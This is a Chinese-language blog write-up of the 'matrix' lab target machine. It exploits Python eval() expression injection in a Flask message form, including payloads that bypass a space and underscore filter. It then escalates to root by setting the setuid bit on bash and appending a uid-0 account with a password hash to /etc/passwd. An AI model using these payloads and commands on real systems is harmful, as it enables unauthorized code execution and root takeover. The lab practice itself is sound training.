Skip to main content

matrix靶机---难度easy知识点-表达式注入

·202 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

matrix靶机—难度easy知识点-表达式注入
#

Nmap扫描发现端口开放
#

nmap

我们访问看下80没用 我们看5000这里注入下这个输入框

666

这里输入引号直接报错了我们可以试试表达式注入因为是一python脚本

222222

这里试试PAYLOAD

' + __import__("os").popen("whoami").read() + '

这里给出源码

def dynamic_execute(type_str, expression):
    command = "%s'%s'"%(type_str,expression)  # 拼接出要执行的命令
    print(command)
    return eval(command)  # 执行拼接后的命令

@app.route('/message', methods=['POST', 'GET'])
def handle_message():
    if request.method == 'GET':
        return render_template('message.html')  # 渲染留言页面
    else:
        message_type = request.form['type'][:1]  # 获取留言类型
        user_message = request.form['msg']  # 获取用户留言内容
        username = "Guest"  # 默认用户名为 Guest

        result = dynamic_execute(message_type, user_message)  # 动态执行用户输入的内容
        return render_template('message.html', msg=result, status=f'{username},留言成功')

### 

我们输入这个’ + import(“os”).popen(“whoami”).read() + ’ 是msg的

则数据是

u’import(“os”).popen(“whoami”).read()’ 则执行这个代码 uicode就是string类型所以成功执行

放入进去是u’’ + import(“os”).popen(“whoami”).read() + ’’ = 但是在python2里面前面放入unicode可以但是在py3中会Unicode未定义可能依赖里面设置了可以

或者[type][1][1]这里获取的是第一个字符也就是说你输入unicode=u 那么你输入f是不是格式化输出呢

所以又一个PAYLOAD

msg={os.system("whoami")}&type=f

所以总结下 两种

msg={os.system(“whoami”)}&type=f 格式化输出

msg=’+(os.popen(“pwd”).read()+’&type=unicode 拼接替换

拿到shell权限
#

发现ROOT也有开了一共服务本地可以访问的8000端口

root1

这里通过socat转发代码如下

./socat TCP-LISTEN:8080,fork TCP4:127.0.0.1:8000 &

而且还给了源码我们来分析下

root2

注意注意 这里我们PAYload不能用unicode的那个了因为过滤了空格不能闭合了 我们用第二个可以读取

def dynamic_execute(type_str, expression):
    command = "%s'%s'"%(type_str,expression)  # 拼接出要执行的命令
    print(command)
    return eval(command)  # 执行拼接后的命令

@app.route('/message', methods=['POST', 'GET'])
def handle_message():
    if request.method == 'GET':
        return render_template('message.html')  # 渲染留言页面
    else:
        message_type = request.form['type'][:1]  # 获取留言类型
        user_message = request.form['msg']  # 获取用户留言内容
        username = "Guest"  # 默认用户名为 Guest

        if len(user_message) > 35:  # 如果留言太长
            return render_template('message.html', msg='留言太长了!', status='留言失败')
    
        user_message = user_message.replace(' ', '').replace('_', '')  # 移除空格和下划线
        result = dynamic_execute(message_type, user_message)  # 动态执行用户输入的内容
        return render_template('message.html', msg=result, status=f'{username},留言成功')

### 

但是这里有长度限制我们可以

root3

chmod +s /biin/bash >a 给到tmp文件下a 文件然后执行

1111

333

拿root
#

bash

这里群主给了另一方法

修改etc/passwd权限通过 0o666表示八进制 linux里面权限也是八进制所以权限是rw-rw-rw

pass

发现可写了

passwd2

payload 密码123456

echo 'll:$y$j9T$ExvEUV2wz6oo99qy/ZJc61$4CBi7jCbWQ.pBlG9vmnhH0z3.uchXkOXaFIl9Zz5Y18:0:0:xxoo,,,:/root:/bin/bash' >> /etc/passwd

succ

总结一下
#

1:多学学python

Related

Locker靶机---难度easy知识点-分号截断,Sulogin
·150 words·1 min
vulny靶机---难度easy知识点-file-manager
·78 words·1 min
observe靶机---难度low知识点-fuzz-ln
·49 words·1 min
insomnia靶机---难度easy知识点-分号截断
·90 words·1 min
flower靶机---难度low知识点-base64-py
·63 words·1 min